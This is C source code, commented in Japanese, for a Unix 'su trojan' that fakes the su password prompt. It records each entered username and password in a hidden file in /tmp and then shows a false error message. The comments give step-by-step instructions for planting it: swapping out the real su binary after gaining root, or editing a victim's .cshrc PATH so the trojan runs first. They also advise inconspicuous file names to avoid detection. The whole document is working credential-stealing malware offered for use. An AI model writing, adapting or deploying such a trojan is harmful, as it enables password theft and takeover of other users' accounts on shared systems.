/*------------------------------------------------------------ SUトロイ - sut Ver 1.00 Programmed by UNYUN ------------------------------------------------------------ */ #include #include #include #include /* 以下のパラメータはOSごとに変更する必要があります [設定手順] %su Password: <---- この文字をMSG_INPに設定する su: Sorry <---- Passwordをわざと間違える。この文字をMSG_ERR に設定する。この表示が出るまでの時間(秒)を MSG_WAITに設定する %su hohoho <---- /etc/passwdにないアカウント名にsuする su Unknown id: hohoho <---- User名がないというエラーが表示される この文字をMSG_NOIDに設定する */ #define MSG_INP "パスワード: " #define MSG_ERR "残念です" #define MSG_NOID "ユーザIDは定義されていません: " #define MSG_WAIT 0 /* 以下のパラメータはOSごと、あるいは設定によって 変更する必要があります [設定手順] case 1. rootをハックできた場合 #which su /usr/bin/su <--- 本物のsuが表示される #mv /usr/bin/su /usr/local/sbin/mule <--- 適当な名前でコピー #cc ./sut.c <--- suトロイをコンパイル #mv ./a.out /usr/bin/su <--- 本物のsuと入れ替え このように設定した場合は、 REAL_SUは、 #define REAL_SU "/usr/local/sbin/mule"としてください。 case 2. 一般userのアカウントで仕込む場合 %which su /usr/bin/su <--- 本物のsuが表示される。このpathをREAL_SUに指定する %cc sut.c -o su <--- suトロイをコンパイル %mv su /tmp/temp/ <--- バレにくい所にコピー %cd ~ <--- 仕込むuserのhomeディレクトリ %vi .cshrc .chsrcはshellの環境設定です。pathを指定して通常のsuよりトロイのsu を優先させます。.cshrcファイルで、 set path=があれば、 set path=(. /tmp/temp /usr/bin ・・・後省略 のようにしておきます。 set pathが無い場合は、 set path=(. /tmp/temp) という行を入れましょう。 */ #define REAL_SU "/usr/bin/su" /* ログファイル。見つかりにくい名前に変更しましょう */ #define LOGFILE "/tmp/.mailer_socket" /* 内部定数 */ #define MAX_USERNAME 200 #define MAX_PASSWD 200 main(int argc,char *argv[]) { char *x; struct passwd *pwd; char user[MAX_USERNAME]; char passwd[MAX_PASSWD]; char temp1[MAX_USERNAME],temp2[MAX_PASSWD]; FILE *fp; int flag=0; int uid=getuid(); if (argc==1) strcpy(user,"root"); else strcpy(user,argv[1]); /* su-passwordログを参照して、以前にGetしていれば 通常のsuを呼び出す */ if ((fp=fopen(LOGFILE,"r"))!=NULL){ for (;;){ if (feof(fp)) break; fscanf(fp,"%s",temp1); fscanf(fp,"%s",temp2); if (strcmp(user,temp1)==0){ flag=1; break; } } fclose(fp); } pwd=getpwuid(uid); if (flag==1 || uid==0 || strcmp(pwd->pw_name,user)==0){ sprintf(temp1,"%s %s",REAL_SU,user); system(temp1); exit(1); } /* User名が不正な場合の処理 */ if (argc>1){ if ((pwd=getpwnam(user))==NULL){ sleep(MSG_WAIT); printf("%s%s\n",MSG_NOID,user); exit(1); } } /* Passwordを入力させる */ x=getpass(MSG_INP); sleep(MSG_WAIT); /* エラーを表示して、ログる */ printf("%s\n",MSG_ERR); if ((fp=fopen(LOGFILE,"a"))!=NULL){ fprintf(fp,"%s\t%s\n",user,x); fclose(fp); } }